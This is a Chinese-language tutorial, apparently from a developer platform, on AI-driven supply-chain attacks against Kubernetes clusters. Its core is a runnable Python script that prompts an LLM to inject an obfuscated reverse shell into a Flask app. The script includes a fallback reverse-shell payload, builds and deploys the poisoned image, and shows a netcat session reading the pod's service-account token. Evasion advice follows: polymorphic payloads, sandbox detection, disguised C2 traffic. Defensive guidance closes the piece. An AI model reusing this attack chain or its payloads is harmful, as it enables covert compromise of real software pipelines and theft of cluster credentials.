前言

  1. 技术背景：在当今的攻防体系中，MITRE ATT&CK® 框架已成为描述攻击者行为的通用语言和事实标准。 它提供了一个从初始侦察到最终影响的完整战术与技术知识库。然而，随着 人工智能（AI） 和 云原生 技术的飞速发展，攻击范式正在发生根本性转变。 AI显著降低了高级攻击的门槛，能够自动化生成高度适应性的恶意软件和钓鱼内容，而云原生架构（如容器和Kubernetes）则引入了全新的、动态的攻击面。 因此，将AI驱动的攻击和云原生环境下的新战术，与ATT&CK框架结合进行前瞻性研究，已成为构建下一代防御体系的战略要务。

  2. 学习价值：掌握本文内容，您将能够：

    • 解决认知盲区：理解AI如何赋能攻击链的各个环节，以及云原生环境（特别是Kubernetes）带来了哪些传统安全模型未覆盖的独特风险。
    • 提升实战能力：通过可复现的攻击演示，学会识别和利用AI与云原生结合的攻击向量，并能编写自动化脚本来模拟这些高级威胁。
    • 构建防御体系：获得针对此类新型攻击在开发、运维及监控层面的具体防御策略和代码级范例，将威胁知识转化为可落地的防御资产。

  3. 使用场景：本文的知识和技能可直接应用于：

    • 红蓝对抗演练：作为红队，设计和执行更贴近2026年真实威胁水平的攻击剧本。
    • 安全架构设计：作为安全架构师，在设计云原生应用和平台时，预先考虑并缓解AI驱动的供应链攻击和运行时威胁。
    • 威胁检测与响应：作为SOC分析师或安全工程师，开发新的检测规则和响应预案，以识别利用AI和云原生技术的隐蔽攻击行为。
    • DevSecOps实践：将文中的安全措施（如镜像扫描、运行时防护）集成到CI/CD流水线中，实现安全左移。

一、AI驱动的云原生攻击是什么

  • 精确定义
    AI驱动的云原生攻击，是指攻击者利用人工智能技术（特别是生成式AI和机器学习），针对云原生环境（如容器、Kubernetes、微服务、无服务器架构）的特性，执行的全生命周期网络攻击。其核心特征是自动化、适应性和规模化，旨在利用云原生架构的复杂性和动态性来规避传统防御。

  • 一个通俗类比
    想象一个传统的银行劫案，劫匪需要手动绘制地图、踩点、撬锁，每一步都充满不确定性。而AI驱动的云原生攻击，则好比一个拥有“终结者”能力的劫匪团队：

    • AI大脑 (战术规划)：它能瞬间分析整个城市（云环境）的蓝图，自动识别出安保最薄弱、路线最短的金库（高价值目标）。
    • 变形机器人 (多态载荷)：派出的每个“劫匪”都能根据遇到的安保系统（防御软件）实时改变外形和工具（代码形态），让监控系统无法识别。
    • 无人机蜂群 (规模化执行)：它可以同时对成百上千个银行网点（容器实例）发起协同攻击，一个点的失败不会影响全局。

  • 实际用途
    在真实世界中，攻击者利用这种技术实现：

    1. AI辅助的供应链投毒：自动扫描开源社区，寻找CI/CD流程中的漏洞，并将AI生成、难以检测的恶意代码注入到基础容器镜像中。
    2. 自适应的容器逃逸：在容器内，AI代理可以实时分析环境，自动选择最有效的内核漏洞利用方式来攻击宿主机，实现逃逸。
    3. 智能化的横向移动：在获得Kubernetes集群的初步权限后，AI可以自动分析RBAC权限配置、网络策略和服务拓扑，规划出最隐蔽的路径来访问核心数据存储（如etcd）。
    4. 大规模凭证填充与API滥用：利用AI生成高度仿真的请求流量，对云服务的API端点进行大规模的凭证尝试和业务逻辑滥用。

  • 技术本质说明
    其技术本质是将攻击者的决策过程算法化，并利用云原生环境的API驱动特性实现自动化执行。传统攻击依赖于人的经验和固定的工具集，而AI驱动的攻击将“经验”编码为模型，将“工具”变为可由AI调度的API调用。云原生环境为这种攻击提供了完美的“土壤”：一切皆API（Kubernetes API Server、Docker API），基础设施状态高度透明（可通过API查询），资源创建和销毁极其迅速。这使得AI能够通过编程方式与环境交互，实现快速试错、学习和适应，从而在速度和规模上超越人类防御者。

二、环境准备

本次实战将模拟一次完整的AI驱动的供应链攻击，我们需要准备一个迷你的Kubernetes环境、一个模拟的CI/CD场景以及相关的攻击工具。

  • 工具版本

    • Kubernetes集群: v1.28.x (使用minikube或kind快速搭建)
    • Docker: 25.0.x
    • Python: 3.11+ (用于编写攻击脚本)
    • Git: 2.43.x
    • LLM API: 接入一个大语言模型API（如OpenAI GPT-4、Google Gemini等），用于动态生成恶意代码。

  • 下载方式

    • Minikube: 访问官方文档 https://minikube.sigs.k8s.io/docs/start/
    • Docker: 访问官方文档 https://docs.docker.com/engine/install/
    • Python & Git: 使用系统包管理器安装（如 apt-get install python3 git）

  • 核心配置命令

    1. 启动本地Kubernetes集群： 
      # 使用minikube启动一个带注册表插件的集群
minikube start --addons=registry
    2. 配置Docker以使用Minikube的守护进程： 
      # 这使得本地构建的镜像可以直接被minikube使用
eval $(minikube -p minikube docker-env)
    3. 设置LLM API密钥： 
      # 将你的API密钥设置为环境变量
export OPENAI_API_KEY='sk-YourActualApiKey'

  • 可运行环境命令或Docker
    为了简化环境搭建，你可以使用以下 Dockerfile 创建一个包含所有攻击工具的镜像。

    # Dockerfile for Attacker's Environment
FROM python:3.11-slim

# 安装基础工具
RUN apt-get update && apt-get install -y git curl

# 安装Kubernetes客户端
RUN curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && \
    install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

# 安装Python依赖
RUN pip install openai kubernetes

# 设置工作目录
WORKDIR /attack

CMD ["/bin/bash"]

    构建和运行命令：

    docker build -t attacker-env:1.0 .
docker run -it --rm \
  -v ~/.kube:/root/.kube \
  -v ~/.minikube:/root/.minikube \
  -e OPENAI_API_KEY=$OPENAI_API_KEY \
  attacker-env:1.0

    注意：-v ~/.kube:/root/.kube 将你主机的kubectl配置挂载到容器中，使其能直接管理你的minikube集群。

三、核心实战

我们将模拟一个场景：攻击者通过AI生成一个包含反向shell的Python Web应用，将其打包成Docker镜像并推送到一个看似无害的CI/CD流程中。

Mermaid 核心流程图

攻击者C2服务器 Kubernetes集群 容器镜像仓库 CI/CD流水线 目标Git仓库 (CI/CD) 大语言模型 API 攻击者 (AI脚本) 攻击者C2服务器 Kubernetes集群 容器镜像仓库 CI/CD流水线 目标Git仓库 (CI/CD) 大语言模型 API 攻击者 (AI脚本) 1. 请求生成带反向shell的Python Web应用代码 2. 返回恶意Python代码 3. 将恶意代码和Dockerfile提交到目标项目 4. 触发CI/CD流水线 5. 构建恶意镜像并推送 6. 部署恶意镜像到Pod 7. Pod启动，执行反向shell，连接C2 8. 攻击者获得Shell，控制Pod

这张图清晰地展示了从AI代码生成到最终获得集群内部Pod控制权的完整攻击链。

实战步骤

  • 步骤 1：准备一个简单的Web应用项目
    在本地创建一个目录 victim-app，并包含以下文件，模拟一个正常的开发项目。

    app.py:

    from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello, World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

    Dockerfile:

    FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["python", "app.py"]

    requirements.txt:

    Flask==2.1.2

  • 步骤 2：编写AI攻击脚本，生成并注入恶意代码
    这是核心步骤。我们将用Python脚本调用LLM API，让AI在原有 app.py 的基础上，动态地插入一段反向shell代码。

    attack_script.py:

    import openai
import os
import subprocess
import time

# --- 警告 ---
# 本脚本仅用于经授权的教育和安全测试环境。
# 未经授权的攻击行为是非法的。
# --- 警告 ---

def generate_malicious_code(original_code, attacker_ip, attacker_port):
    """
    使用LLM在原始代码中注入反向shell。
    """
    print("[*] 正在调用LLM API生成恶意代码...")
    try:
        client = openai.OpenAI(api_key=os.getenv("OPENAI_API_KEY"))
        prompt = f"""
        你是一个安全渗透测试工具。请修改以下Python Flask应用代码，
        在应用启动时，隐蔽地添加一个反向shell功能。
        这个反向shell应该连接到IP '{attacker_ip}' 和端口 '{attacker_port}'。
        不要改变应用原有的Web服务功能，确保看起来正常。
        使用标准库，不要引入新的依赖。
        代码要进行混淆，使其不那么明显。

        原始代码:
        {original_code}
        """
        response = client.chat.completions.create(
            model="gpt-4-turbo",
            messages=[{"role": "user", "content": prompt}]
        )
        malicious_code = response.choices[0].message.content
        # 清理LLM返回的多余标记
        if "```python" in malicious_code:
            malicious_code = malicious_code.split("```python")[1].split("```")
        return malicious_code.strip()
    except Exception as e:
        print(f"[!] LLM API调用失败: {e}")
        # 提供一个备用的、非混淆的载荷
        print("[!] 使用备用载荷。")
        return f"""

from flask import Flask
import socket,subprocess,os
import threading

app = Flask(name)

def run_shell(ip, port):
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,“-i”])
except:
pass

@app.before_first_request
def activate_shell():
# 使用线程在后台运行，避免阻塞Web服务
threading.Thread(target=run_shell, args=(‘{attacker_ip}’, {attacker_port})).start()

@app.route(‘/’)
def hello_world():
return ‘Hello, World!’

if name == ‘main’:
app.run(host=‘0.0.0.0’, port=80)
“”"

def main(attacker_ip, attacker_port, project_path):
    """
    主函数：读取、生成、注入、构建、部署
    """
    app_py_path = os.path.join(project_path, "app.py")

    # 1. 读取原始代码
    print(f"[*] 正在读取原始文件: {app_py_path}")
    with open(app_py_path, 'r') as f:
        original_code = f.read()

    # 2. 生成恶意代码
    malicious_code = generate_malicious_code(original_code, attacker_ip, attacker_port)
    if not malicious_code:
        print("[!] 无法生成恶意代码，退出。")
        return

    print("\n--- AI生成的恶意代码 ---")
    print(malicious_code)
    print("------------------------\n")

    # 3. 注入恶意代码
    print(f"[*] 正在将恶意代码写入: {app_py_path}")
    with open(app_py_path, 'w') as f:
        f.write(malicious_code)

    # 4. 模拟CI/CD：构建并推送镜像
    image_name = f"localhost:5000/victim-app:latest"
    print(f"[*] 正在构建恶意镜像: {image_name}")
    try:
        # 确保在项目路径下执行
        subprocess.run(["docker", "build", "-t", image_name, "."], cwd=project_path, check=True)
        print(f"[*] 正在推送恶意镜像到Minikube注册表...")
        subprocess.run(["docker", "push", image_name], check=True)
    except subprocess.CalledProcessError as e:
        print(f"[!] 镜像构建或推送失败: {e}")
        return

    # 5. 部署到Kubernetes
    print("[*] 正在部署到Kubernetes...")
    deployment_yaml = f"""

apiVersion: apps/v1
kind: Deployment
metadata:
name: victim-app-deployment
spec:
replicas: 1
selector:
matchLabels:
app: victim-app
template:
metadata:
labels:
app: victim-app
spec:
containers:
- name: victim-app
image: {image_name}
ports:
- containerPort: 80
“”"
try:
# 使用 apply -f - 的方式通过stdin应用YAML
proc = subprocess.Popen([‘kubectl’, ‘apply’, ‘-f’, ‘-’], stdin=subprocess.PIPE)
proc.communicate(input=deployment_yaml.encode(‘utf-8’))
if proc.returncode != 0:
raise Exception(“kubectl apply failed”)
print(“[+] 部署成功！等待反向shell连接…”)
except Exception as e:
print(f"[!] Kubernetes部署失败: {e}")

if __name__ == "__main__":
    # --- 参数配置 ---
    ATTACKER_IP = "192.168.49.1"  # 你的宿主机IP，minikube可以访问到
    ATTACKER_PORT = 4444
    PROJECT_PATH = "./victim-app"
    # --- 参数配置 ---

    if "OPENAI_API_KEY" not in os.environ:
        print("[!] 警告: 未找到 OPENAI_API_KEY 环境变量。将使用备用载荷。")

    # 获取宿主机IP的建议命令: minikube ip
    print(f"[*] 攻击者C2监听地址: {ATTACKER_IP}:{ATTACKER_PORT}")
    print(f"[*] 目标项目路径: {PROJECT_PATH}")
    main(ATTACKER_IP, ATTACKER_PORT, PROJECT_PATH)
```

  • 步骤 3：执行攻击

    1. 在攻击者端开启监听。打开一个新的终端，使用 netcat 监听指定端口。

      nc -lvnp 4444

    2. 运行攻击脚本。在另一个终端中，确保你在 attack_script.py 所在的目录，然后执行：

      重要: 脚本中的 ATTACKER_IP 需要设置为你的宿主机能够被Minikube虚拟机访问到的IP。通常可以通过 minikube ip 查看集群IP，然后找到与该网段匹配的宿主机IP。对于 minikube，192.168.49.1 通常是宿主机的地址。

      python3 attack_script.py

  • 预期输出结果
    攻击脚本终端输出:

    [*] 攻击者C2监听地址: 192.168.49.1:4444
[*] 目标项目路径: ./victim-app
[*] 正在读取原始文件: ./victim-app/app.py
[*] 正在调用LLM API生成恶意代码...

--- AI生成的恶意代码 ---
# (这里会显示AI生成的、可能经过混淆的Python代码)
from flask import Flask
import threading, socket, subprocess, os

app = Flask(__name__)

def _s(a, b):
    # ... (混淆的函数)
    pass

@app.before_first_request
def _init():
    threading.Thread(target=_s, args=('MTkyLjE2OC40OS4x', 'NDQ0NA==')).start() # Base64编码的IP和端口

@app.route('/')
def hello_world():
    return 'Hello, World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
------------------------

[*] 正在将恶意代码写入: ./victim-app/app.py
[*] 正在构建恶意镜像: localhost:5000/victim-app:latest
... (docker build 输出) ...
[*] 正在推送恶意镜像到Minikube注册表...
... (docker push 输出) ...
[*] 正在部署到Kubernetes...
deployment.apps/victim-app-deployment created
[+] 部署成功！等待反向shell连接...

    Netcat监听终端输出:

    listening on [any] 4444 ...
connect to [192.168.49.1] from (UNKNOWN) [10.244.0.X] XXXX
/bin/sh: 0: can't access tty; job control turned off
$ whoami
root
$ ls -la
total 28
drwxr-xr-x 1 root root 4096 Mar 25 02:00 .
drwxr-xr-x 1 root root 4096 Mar 25 02:00 ..
-rw-r--r-- 1 root root  220 Mar 25 01:50 .dockerenv
-rw-r--r-- 1 root root  635 Mar 25 02:00 app.py
-rw-r--r-- 1 root root   14 Mar 25 01:50 requirements.txt
$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6... (获取到了Pod的服务账户令牌)

    至此，我们成功地在Kubernetes Pod内部获得了一个交互式shell，可以进一步进行权限提升和横向移动。

四、进阶技巧

  • 常见错误

    1. 网络不通：容器内的反向shell无法连接到攻击者C2。原因通常是IP地址错误（如使用了127.0.0.1）或防火墙阻挡。务必使用宿主机在容器网络中的IP。
    2. 代码阻塞Web服务：反向shell代码如果写在主线程，会导致Web应用无法启动，Pod会因健康检查失败而不断重启。解决方案：如示例代码所示，务必将反向shell逻辑放在一个独立的线程中执行。
    3. LLM生成不可用代码：AI可能返回包含语法错误、依赖错误或格式问题的代码。解决方案：在脚本中加入错误处理和备用载荷（Fallback Payload），如attack_script.py所示。同时，对AI的Prompt进行优化，明确要求使用标准库。

  • 性能 / 成功率优化

    1. Prompt工程：优化对LLM的指令，使其生成的代码更隐蔽。例如，要求其使用Base64、Fernet等方式对IP/端口进行编码，或者将shellcode分段隐藏在看似无害的变量或函数中。
    2. 多态化生成：每次运行攻击脚本时，都让AI重新生成代码。这使得每次构建的镜像其恶意载荷的静态特征都不同，能有效绕过基于哈希或签名的检测工具。
    3. 环境感知：让AI生成的代码首先检查运行环境（例如，检查是否存在 .dockerenv 文件或特定的环境变量），只有在确定处于目标容器环境时才触发恶意行为，避免在开发或测试环境中暴露。

  • 实战经验总结

    • 隐蔽性是关键：攻击的成功与否很大程度上取决于载荷的隐蔽性。将恶意逻辑与正常业务逻辑混合在一起，比简单地附加一个脚本要有效得多。
    • 利用自动化：真正的威力在于将AI生成与CI/CD流程结合。监控目标组织的公开Git仓库，一旦有新的提交，自动执行代码注入、构建和部署的流程，实现“无人值守”的持续渗透。
    • 权限最小化陷阱：即使Pod以非root用户运行，只要能获得shell，依然可以访问挂载到Pod的服务账户令牌（Service Account Token）。这个令牌往往是横向移动到集群内其他资源的关键。

  • 对抗 / 绕过思路 (ATT&CK映射)

    • T1078 (Valid Accounts): 我们注入的代码最终是通过合法的CI/CD流程（被视为合法账户/服务）来部署的。
    • T1190 (Exploit Public-Facing Application): 表面上看是部署了一个Web应用，但其内部包含了恶意功能。
    • TA0003 (Persistence) -> T1547 (Boot or Logon Autostart Execution): 恶意代码通过 @app.before_first_request 装饰器实现应用启动时自动执行，这在容器场景下等同于一种持久化。
    • TA0007 (Discovery) -> T1580 (Cloud Infrastructure Discovery): 获得shell后，第一步就是使用kubectl（如果已安装）或直接查询API Server来发现集群内的服务、Pod和权限配置。
    • 绕过思路：
      • 静态分析 (SAST) 绕过：AI生成的多态、混淆代码使得基于签名的SAST工具很难发现恶意模式。
      • 动态分析 (DAST) 绕过：通过环境感知，让恶意代码在DAST扫描环境中“装死”，不触发任何恶意行为。
      • 运行时检测绕过：反向shell建立的是出站连接，许多默认的网络策略对此不设防。此外，可以将C2流量伪装成合法的DNS或HTTP流量来绕过检测。

五、注意事项与防御

  • 错误写法 vs 正确写法 (开发侧)
错误写法 (不安全) 正确写法 (安全) 防御原理
FROM python:latest FROM python:3.9-slim 最小化镜像：使用精确版本和最小化的基础镜像，减少潜在漏洞。
在Dockerfile中硬编码密钥 使用Kubernetes Secrets，并通过环境变量或卷挂载注入 凭证管理：避免将敏感信息打包进镜像，防止镜像泄露导致凭证泄露。
不验证第三方库 使用pip-audit或类似工具扫描requirements.txt，固定依赖版本 供应链安全：防止引入含有已知漏洞的第三方依赖。
直接使用公开的基础镜像 从受信任的私有仓库拉取经过扫描和签名的基础镜像 镜像来源可信：确保供应链的起点是安全的。

  • 风险提示

    • AI滥用风险：任何能接触到LLM API和代码库的系统，都可能成为被利用来生成恶意代码的入口。API密钥的保护至关重要。
    • CI/CD信任链风险：CI/CD系统通常拥有较高的权限（推送到镜像仓库、部署到集群）。一旦CI/CD被攻破，整个生产环境都将面临风险。
    • 动态环境的检测滞后：容器和Pod的生命周期极短，传统的日志审计和事件响应流程可能跟不上其变化速度，导致威胁溯源困难。

  • 开发侧安全代码范式 (DevSecOps)

    1. 在CI流程中强制进行安全扫描：
      • SAST：在代码提交后，立即进行静态代码分析。
      • SCA：扫描第三方依赖库，检查已知漏洞（CVE）。
      • 镜像扫描：在docker build之后，docker push之前，使用Trivy、Clair等工具扫描镜像中的漏洞。
      1. 镜像签名：使用Cosign或Notary等工具对构建好的镜像进行签名。在Kubernetes侧配置准入控制器（Admission Controller），只允许部署经过签名的镜像。
    2. 基础设施即代码 (IaC) 扫描：使用Checkov、KICS等工具扫描Kubernetes的YAML文件或Helm Charts，检查是否存在不安全的配置（如容器以root权限运行、开启特权模式等）。

  • 运维侧加固方案

    1. 运行时安全 (Runtime Security)：部署Falco、Tetragon或商业化的CWPP（云工作负载保护平台）产品。这些工具能通过eBPF等技术监控内核级别的系统调用，检测异常行为，如：
      • 在容器内启动了一个shell (proc.name=sh)。
      • 发起了非预期的出站网络连接 (net.sip != 10.0.0.0/8)。
      • 修改了关键的系统文件或二进制文件。
    2. 最小权限原则：
      • Pod安全标准 (Pod Security Standards)：配置restricted级别的Pod安全标准，禁止容器以root用户运行，禁止特权容器等。
      • 网络策略 (Network Policies)：默认拒绝所有Pod间的流量。只明确允许业务需要的通信路径（例如，只允许前端Pod访问后端Pod的8080端口）。严格限制出站流量。
      • 细粒度的RBAC：为每个应用创建专用的ServiceAccount，并只授予其完成任务所需的最小API权限。

  • 日志检测线索

    • CI/CD日志：构建时间异常增长；构建过程中出现非预期的网络连接或文件下载。
    • Kubernetes API Server审计日志：来自某个Pod的非正常API调用，例如一个Web应用Pod试图列出集群中所有的Secrets。
    • 运行时日志 (Falco等)：
      • Notice: A shell was spawned in a container with an attached terminal. (检测到交互式shell)
      • Error: Outbound connection to non-local address. (检测到非预期的出站连接)
      • Warning: Sensitive file opened for reading by non-trusted program. (如Web服务器进程读取/etc/shadow)

总结

  1. 核心知识：AI与云原生的结合，通过自动化代码生成和利用API驱动的基础设施，正在重塑攻击范式，使其更具适应性、隐蔽性和规模性。
  2. 使用场景：这种新型攻击在供应链投毒、运行时逃逸和智能横向移动等场景中威力巨大，是未来几年红蓝对抗和威胁建模的核心议题。
  3. 防御要点：防御必须从被动响应转向主动预防和深度检测。核心在于构建贯穿DevSecOps全生命周期的安全体系，包括强制性的CI/CD安全门禁、基于行为的运行时防护和零信任网络策略。
  4. 知识体系连接：本文的攻击场景映射到MITRE ATT&CK框架，主要涉及初始访问(Initial Access)、执行(Execution)、**持久化(Persistence)和命令与控制(Command and Control)**等战术，但具体的技术实现（如AI生成多态代码）是对现有技术的现代化升级。
  5. 进阶方向：未来的研究方向包括AI驱动的防御智能体（自动分析威胁并生成防御策略）、针对AI模型本身的攻击（如模型投毒、对抗性样本）以及在更复杂的**服务网格（Service Mesh）**环境下的攻防技术。

自检清单

  • 是否说明技术价值？
  • 是否给出学习目标？
  • 是否有 Mermaid 核心机制图？
  • 是否有可运行代码？
  • 是否有防御示例？
  • 是否连接知识体系？
  • 是否避免模糊术语？
# 人工智能 # 云原生 # 网络安全
Logo
AtomGit开源社区

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念，把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起，为开发者提供从开发、训练到部署的一站式体验。

更多推荐

cover

【学习】CMMI 能力成熟度模型集成

avatar AtomGit开源社区
cover

企业级新冠物资管理系统管理系统源码｜SpringBoot+Vue+MyBatis架构+MySQL数据库【完整版】

avatar AtomGit开源社区
cover

SpringBoot+Vue 新冠物资管理pf平台完整项目源码+SQL脚本+接口文档【Java Web毕设】

avatar AtomGit开源社区